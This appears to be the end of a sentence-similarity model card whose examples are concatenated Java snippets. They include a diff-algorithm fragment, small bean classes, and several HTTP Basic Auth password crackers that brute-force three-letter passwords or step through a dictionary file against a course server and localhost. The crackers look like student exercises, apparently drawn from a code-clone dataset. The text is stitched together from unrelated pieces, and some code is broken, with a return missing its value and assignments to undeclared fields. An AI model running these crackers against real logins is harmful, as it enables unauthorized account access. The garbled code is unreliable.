      filevec[1].changed_flag,
      filevec[1].buffered_lines
    );

  }

  

  public static class change {
    
    public int change ;         
    
    public final int inserted;  
    
    public final int deleted;           
    
    public final int line0;             
    
    public final int line1;             

    
    public change(int line0, int line1, int deleted, int inserted, change old) {
      this.line0 = line0;
      this.line1 = line1;
      this.inserted = inserted;
      this.deleted = deleted;
      this.old = old;
      
    }
  }

  

  class file_data {

    
    void clear() {
      
      changed_flag = new boolean[buffered_lines + 2];
    }

    
    int[] equivCount() {
      int[] equiv_count = new int[equiv_max];
      for (int i = 0; i < buffered_lines; ++i)
        ++equiv_count[equivs[i]];
      return equiv_count;
    }

    
    void discard_confusing_lines(file_data f) {
      clear();
    
      final byte[] discarded = discardable(f.equivCount());

    
      filterDiscards(discarded);

    
      discard(discarded);
    }

    

    private byte[] discardable(final int[] counts) {
      final int end = buffered_lines;
      final byte[] discards = new byte[end];
      final int[] equivs = this.equivs;
      int many = 5;
      int tem = end / 64;

      
      while ((tem = tem >> 2) > 0)
        many *= 2;

      for (int i = 0; i < end; i++)
        {
          int nmatch;
          if (equivs[i] == 0)
            continue;
          nmatch = counts[equivs[i]];
          if (nmatch == 0)
            discards[i] = 1;
          else if (nmatch > many)
            discards[i] = 2;
        }
      return discards;
    }

    

    private void filterDiscards(final byte[] discards) {
        final int end = buffered_lines;

        for (int i = 0; i < end; i++)
          {
            
            if (discards[i] == 2)
              discards[i] = 0;
            else if (discards[i] != 0)
              {
                
                int j;
                int length;
                int provisional = 0;

                
                for (j = i; j < end; j++)
                  {
                    if (discards[j] == 0)
                      break;
                    if (discards[j] == 2)
                      ++provisional;
                  }

                
                while (j > i && discards[j - 1] == 2) {
                  discards[--j] = 0; --provisional;
                }

                
                length = j - i;

                
                if (provisional * 4 > length)
                  {
                    while (j > i)
                      if (discards[--j] == 2)
                        discards[j] = 0;
                  }
                else
                  {
                    int consec;
                    int minimum = 1;
                    int tem = length / 4;

                    
                    while ((tem = tem >> 2) > 0)
                      minimum *= 2;
                    minimum++;

                    
                    for (j = 0, consec = 0; j < length; j++)
                      if (discards[i + j] != 2)
                        consec = 0;
                      else if (minimum == ++consec)
                        
                        j -= consec;
                      else if (minimum < consec)
                        discards[i + j] = 0;

                    
                    for (j = 0, consec = 0; j < length; j++)
                      {
                        if (j >= 8 && discards[i + j] == 1)
                          break;
                        if (discards[i + j] == 2) {
                          consec = 0; discards[i + j] = 0;
                        }
                        else if (discards[i + j] == 0)
                          consec = 0;
                        else
                          consec++;
                        if (consec == 3)
                          break;
                      }

                    
                    i += length - 1;

                    
                    for (j = 0, consec = 0; j < length; j++)
                      {
                        if (j >= 8 && discards[i - j] == 1)
                          break;
                        if (discards[i - j] == 2) {
                          consec = 0; discards[i - j] = 0;
                        }
                        else if (discards[i - j] == 0)
                          consec = 0;
                        else
                          consec++;
                        if (consec == 3)
                          break;
                      }
                  }
              }
          }
      }

    
    private void discard(final byte[] discards) {
      final int end = buffered_lines;
      int j = 0;
      for (int i = 0; i < end; ++i)
        if (no_discards || discards[i] == 0)
          {
            undiscarded[j] = equivs[i];
            realindexes[j++] = i;
          }
        else
          changed_flag[1+i] = true;
      nondiscarded_lines = j;
    }

    file_data(Object[] data,Hashtable h) {
      buffered_lines = data.length;

      equivs = new int[buffered_lines]; 
      undiscarded = new int[buffered_lines];
      realindexes = new int[buffered_lines];

      for (int i = 0; i < data.length; ++i) {
        Integer ir = (Integer)h.get(data[i]);
        if (ir == null)
          h.put(data[i],new Integer(equivs[i] = equiv_max++));
        else
          equivs[i] = ir.intValue();
      }
    }

    

    void shift_boundaries(file_data f) {
      final boolean[] changed = changed_flag;
      final boolean[] other_changed = f.changed_flag;
      int i = 0;
      int j = 0;
      int i_end = buffered_lines;
      int preceding = -1;
      int other_preceding = -1;

      for (;;)
        {
          int start, end, other_start;

          

          while (i < i_end && !changed[1+i])
            {
              while (other_changed[1+j++])
                
                other_preceding = j;
              i++;
            }

          if (i == i_end)
            break;

          start = i;
          other_start = j;

          for (;;)
            {
              

              while (i < i_end && changed[1+i]) i++;
              end = i;

              

              

              if (end != i_end
                  && equivs[start] == equivs[end]
                  && !other_changed[1+j]
                  && end != i_end
                  && !((preceding >= 0 && start == preceding)
                       || (other_preceding >= 0
                           && other_start == other_preceding)))
                {
                  changed[1+end++] = true;
                  changed[1+start++] = false;
                  ++i;
                  
                  ++j;
                }
              else
                break;
            }

          preceding = i;
          other_preceding = j;
        }
    }

    
    final int buffered_lines;

    
    private final int[]     equivs;

    
    final int[]    undiscarded;

    
    final int[]    realindexes;

    
    int             nondiscarded_lines;

    
    boolean[]       changed_flag;

  }
}
, package java.httputils;

import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.MalformedURLException;
import java.sql.Timestamp;
import java.util.Observable;

public class BruteForce extends Observable
{
    
    protected Timestamp start;
    protected Timestamp end;
    protected String URL = "http://localhost:8080/secret/index.html";
    protected String userName = "";
    protected String content = "";
    protected int attempts = 0;
    protected String password;
    protected String fileName;

    public static final char[] letters =
        {
            'a',
            'b',
            'c',
            'd',
            'e',
            'f',
            'g',
            'h',
            'i',
            'j',
            'k',
            'l',
            'm',
            'n',
            'o',
            'p',
            'q',
            'r',
            's',
            't',
            'u',
            'v',
            'w',
            'x',
            'y',
            'z',
            'A',
            'B',
            'C',
            'D',
            'E',
            'F',
            'G',
            'H',
            'I',
            'J',
            'K',
            'L',
            'M',
            'N',
            'O',
            'P',
            'Q',
            'R',
            'S',
            'T',
            'U',
            'V',
            'W',
            'X',
            'Y',
            'Z',
            ' '};
    
    public BruteForce()
    {
    }

    
    public void process()
    {
        StringBuffer password = new StringBuffer("aaa");
        
        setStart(new Timestamp(System.currentTimeMillis()));

        for (int i = 0;
            i < letters.length - 1;
            password.setCharAt(0, letters[i]), i++)
        {
            for (int i2 = 0;
                i2 < letters.length;
                password.setCharAt(1, letters[i2]), i2++)
            {
                for (int i3 = 0;
                    i3 < letters.length;
                    password.setCharAt(2, letters[i3]), i3++)
                {
                    try
                    {
                        attempts++;

                        BasicAuthHttpRequest req =
                            new BasicAuthHttpRequest(
                                getURL(),
                                getUserName(),
                                password.toString().trim());
                        setPassword(password.toString());
                        setEnd(new Timestamp(System.currentTimeMillis()));
                        setContent(req.getContent().toString());

                        
                        if (getFileName() != null && getFileName().length() > 0)
                        {
                            createReport();
                        }
                        return;
                    }
                    catch (MalformedURLException e)
                    {
                        e.printStackTrace();
                        return;
                    }
                    catch (IOException e)
                    {

                    }
                }
            }
        }

        
        setEnd(new Timestamp(System.currentTimeMillis()));


    }

    
    public void createReport()
    {
        OutputStream os = null;
        try
        {
            os = new BufferedOutputStream(
                     new FileOutputStream(getFileName(), false));
            os.write(printResult().getBytes());
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
        }
        catch (IOException e)
        {
            e.printStackTrace();
        }
        finally
        {
            if (os != null)
            {
                try
                {
                    os.close();
                }
                catch (IOException e)
                {
                }
            }
        }
    }

    
    public String printResult()
    {
        StringBuffer s = new StringBuffer();

        s.append("** " + this.getClass().getName() + " Results **\n\n");
        s.append("Password: " + getPassword() + "\n\n");

        s.append("Attempts : " + attempts + "\n\n");

        s.append(
            "Time (seconds): "
                + (getEnd().getTime() - getStart().getTime()) / 1000
                + "\n\n");
        s.append("Content: \n" + getContent() + "\n\n");

        return s.toString();
    }

    public String printUsage()
    {
        StringBuffer s = new StringBuffer();

        s.append("** BruteForce proper usage **\n\n");
        s.append(
            "java ..httputils.BruteForce <URL> <UserName> <OutputFile - Optional>\n\n");

        return s.toString();
    }

    public static void main(String[] args)
    {
        BruteForce bruteForce = new BruteForce();

        if (args.length < 2)
        {
            System.out.println(bruteForce.printUsage());
        }
        else
        {
            bruteForce.setURL(args[0]);
            bruteForce.setUserName(args[1]);
            if (args.length > 2)
            {
                bruteForce.setFileName(args[2]);
            }
            bruteForce.process();
            System.out.println(bruteForce.printResult());
        }
    }

    

    
    public Timestamp getEnd()
    {
        return end;
    }

    
    public Timestamp getStart()
    {
        return ;
    }

    
    public void setEnd(Timestamp timestamp)
    {
        end = timestamp;
    }

    
    public void setStart(Timestamp timestamp)
    {
       time  = timestamp;
    }

    
    public String getURL()
    {
        return URL;
    }

    
    public void setURL(String string)
    {
        URL = string;
    }

    
    public String getUserName()
    {
        return userName;
    }

    
    public void setUserName(String string)
    {
        userName = string;
    }

    
    public String getContent()
    {
        return content;
    }

    
    public void setContent(String string)
    {
        content = string;
    }

    
    public String getPassword()
    {
        return password;
    }

    
    public void setPassword(String string)
    {
        password = string;
    }

    
    public String getFileName()
    {
        return fileName;
    }

    
    public void setFileName(String string)
    {
        fileName = string;
    }

}
, 



import java.io.*;
import java.*;
import java.net.*;

public class Dictionary
{

   static BufferedReader in = null;
   static MyAuthenticator Auth = new MyAuthenticator();

 
   public static void main(String[] args) throws IOException
   {
      int tmp = 0;
      String str ="";
      Authenticator.setDefault(Auth);
 
      try
      {
         URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");

         
         
         while(tmp!=1)
         {
            try
            {
               in = new BufferedReader(new InputStreamReader(url.openStream()));
               tmp=1;
            }
            catch (IOException e) {}
            
         }         

         while ((str = in.readLine()) != null) 
         {
            
            
            
         }
         

         System.out.println("The successful Password found using a Dictionary search is = " + Auth.finalPass());

      } 
      catch (MalformedURLException e) 
         {System.out.println("mfURL");}
   }    


}

class MyAuthenticator extends Authenticator 
{
   String username = "";
   static String password = "";
   
   static String DictFile = "/usr/share/lib/dict/words";
   static BufferedReader fReader;

   public MyAuthenticator()
   {
      try
      {
          fReader = new BufferedReader
                            (new FileReader(DictFile));
      }
      catch (FileNotFoundException e)
      {
         System.out.println("File " +DictFile+ " Not Found");
         System.out.println(" File Opened");
         System.exit(1);
      }
      catch (IOException e)
      {
         System.out.println("File  Failed..");
         System.exit(1);
      }

   }

   static void setPass(String pswd)
   {
      password = pswd;
   }

   static String finalPass()
   {
      return password;
   }

   static String getPass()
   {
      try
      {
         if ((password = fReader.readLine()) == null)
         {
            System.out.println("Password Not found in file '" + DictFile +"'.");
            System.exit(1);
         }
      }
      catch (IOException ioe)
      {
         System.out.println("File IOException");
         System.out.println(ioe);
      }

      return password;
   }



   protected PasswordAuthentication getPasswordAuthentication() 
   { 
      
      return new PasswordAuthentication(username, getPass().toCharArray()); 

   } 
}
, source_sentence: 
public class ImageFile
{
	private String imageUrl;
	private int imageSize;

	public ImageFile(String url, int size)
	{
		imageUrl=url;
		imageSize=size;
	}

	public String getImageUrl()
	{
		return imageUrl;
	}

	public int getImageSize()
	{
		return imageSize;
	}
}

sentences: import java.io.*;
import java.net.*;

public class BruteForce {
  public static void main(String[] args) {
      BruteForce brute=new BruteForce();
      brute.start();


     }


public void start() {
char passwd[]= new char[3];
String password;
String username="";
String auth_data;
String server_res_code;
String required_server_res_code="200";
int cntr=0;

try {

URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;


           for (int i=65;i<=122;i++)     {
               if(i==91) { i=i+6; }
               passwd[0]= (char) i;

           for (int j=65;j<=122;j++)     {
              if(j==91) { j=j+6; }
              passwd[1]=(char) j;

            for (int k=65;k<=122;k++)    {
                if(k==91) { k=k+6; }
                passwd[2]=(char) k;
                password=new String(passwd);
                password=password.trim();
                auth_data=null;
                auth_data=username + ":" + password;
                auth_data=auth_data.trim();
                auth_data=getBasicAuthData(auth_data);
                auth_data=auth_data.trim();
                conn=url.openConnection();
                conn.setDoInput (true);
                conn.setDoOutput(true);
                conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
                conn.setRequestProperty ("Authorization", auth_data);
                server_res_code=conn.getHeaderField(0);
                server_res_code=server_res_code.substring(9,12);
                server_res_code.trim();
                cntr++;
                System.out.println(cntr + " . " + "PASSWORD SEND : " + password + "  SERVER RESPONSE  : " + server_res_code);
                if( server_res_code.compareTo(required_server_res_code)==0 )
                {System.out.println("PASSWORD IS :  " + password + "  SERVER RESPONSE  : " + server_res_code );
                i=j=k=123;}
                                           }

                                        }

                                    }
        }
     catch (Exception e) {
           System.err.print(e);
           }
  }

public String getBasicAuthData (String getauthdata)    {

char base64Array [] = {
      'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
      'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
      'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
      'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
      'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
      'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
      'w', 'x', 'y', 'z', '0', '1', '2', '3',
      '4', '5', '6', '7', '8', '9', '+', '/' } ;

    String encodedString = "";
    byte bytes [] = getauthdata.getBytes ();
    int i = 0;
    int pad = 0;
    while (i < bytes.length) {
      byte b1 = bytes [i++];
      byte b2;
      byte b3;
      if (i >= bytes.length) {
         b2 = 0;
         b3 = 0;
         pad = 2;
         }
      else {
         b2 = bytes [i++];
         if (i >= bytes.length) {
            b3 = 0;
            pad = 1;
            }
         else
            b3 = bytes [i++];
         }
      byte c1 = (byte)(b1 >> 2);
      byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
      byte c4 = (byte)(b3 & 0x3f);
      encodedString += base64Array [c1];
      encodedString += base64Array [c2];
      switch (pad) {
        case 0:
         encodedString += base64Array [c3];
         encodedString += base64Array [c4];
         break;
        case 1:
         encodedString += base64Array [c3];
         encodedString += "=";
         break;
        case 2:
         encodedString += "==";
         break;
       }
      }
      return " " + encodedString;
  }
}, package java.httputils;

import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;


public class RunnableBruteForce extends BruteForce implements Runnable
{
    protected int rangeStart, rangeEnd;
    protected boolean stop = false;
    
    public RunnableBruteForce()
    {
        super();
    }

    
    public void run()
    {
        process();
    }

    public static void main(String[] args)
    {
    }
    
    public int getRangeEnd()
    {
        return rangeEnd;
    }

    
    public int getRangeStart()
    {
        return rangeStart;
    }

    
    public void setRangeEnd(int i)
    {
        rangeEnd = i;
    }

    
    public void setRangeStart(int i)
    {
        rangeStart = i;
    }

    
    public boolean isStop()
    {
        return stop;
    }

    
    public void setStop(boolean b)
    {
        stop = b;
    }

    public void process()
    {
        String password = "";
        
        System.out.println(Thread.currentThread().getName() +
                            "->  workload: " +
                            this.letters[getRangeStart()] + "  " +
                            this.letters[getRangeEnd() - 1]);
        setStart(new Timestamp(System.currentTimeMillis()));

        for (int i = getRangeStart();
            i < getRangeEnd();
            i++)
        {
            System.out.println(Thread.currentThread().getName() +
                    "-> Trying words beginning with: " +
                    letters[i]);
            for (int i2 = 0;
                i2 < letters.length;
                i2++)
            {
                for (int i3 = 0;
                    i3 < letters.length;
                    i3++)
                {
                    if (isStop())
                    {
                        return;
                    }
                    try
                    {
                        char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
                        String pwd = new String(arr);
                        
                        if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
                        {
                            System.out.println(Thread.currentThread().getName() +
                                   "-> Trying password: " +
                                    pwd);
                        }
                        attempts++;

                        BasicAuthHttpRequest req =
                            new BasicAuthHttpRequest(
                                getURL(),
                                getUserName(),
                                pwd);
                        System.out.println("Got the password");
                        setPassword(pwd);
                        setEnd(new Timestamp(System.currentTimeMillis()));
                        setContent(req.getContent().toString());

                        
                        this.setChanged();
                        this.notifyObservers(this.getContent());
                        return;
                    }
                    catch (MalformedURLException e)
                    {
                        e.printStackTrace();
                        return;
                    }
                    catch (IOException e)
                    {

                    }
                }
            }
        }

        
        setEnd(new Timestamp(System.currentTimeMillis()));
    }

}
, 

class WebPage
{
    
    
    private boolean success = false;
    
    private String pageContents= "";
    

	
    public WebPage()
    {
    }
    
	
    public void setSuccess (boolean inSuccess)
    {
        success = inSuccess;
    }
    
	
    public boolean getSuccess()
    {
        return success;
    }
    
	
    public void setPageContents (String inPage)
    {
        pageContents = inPage;
    }
    
	
    public String getPageContents()
    {
        return pageContents;
    }
}   

pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 12
Created: 2025-06-11 12:21:46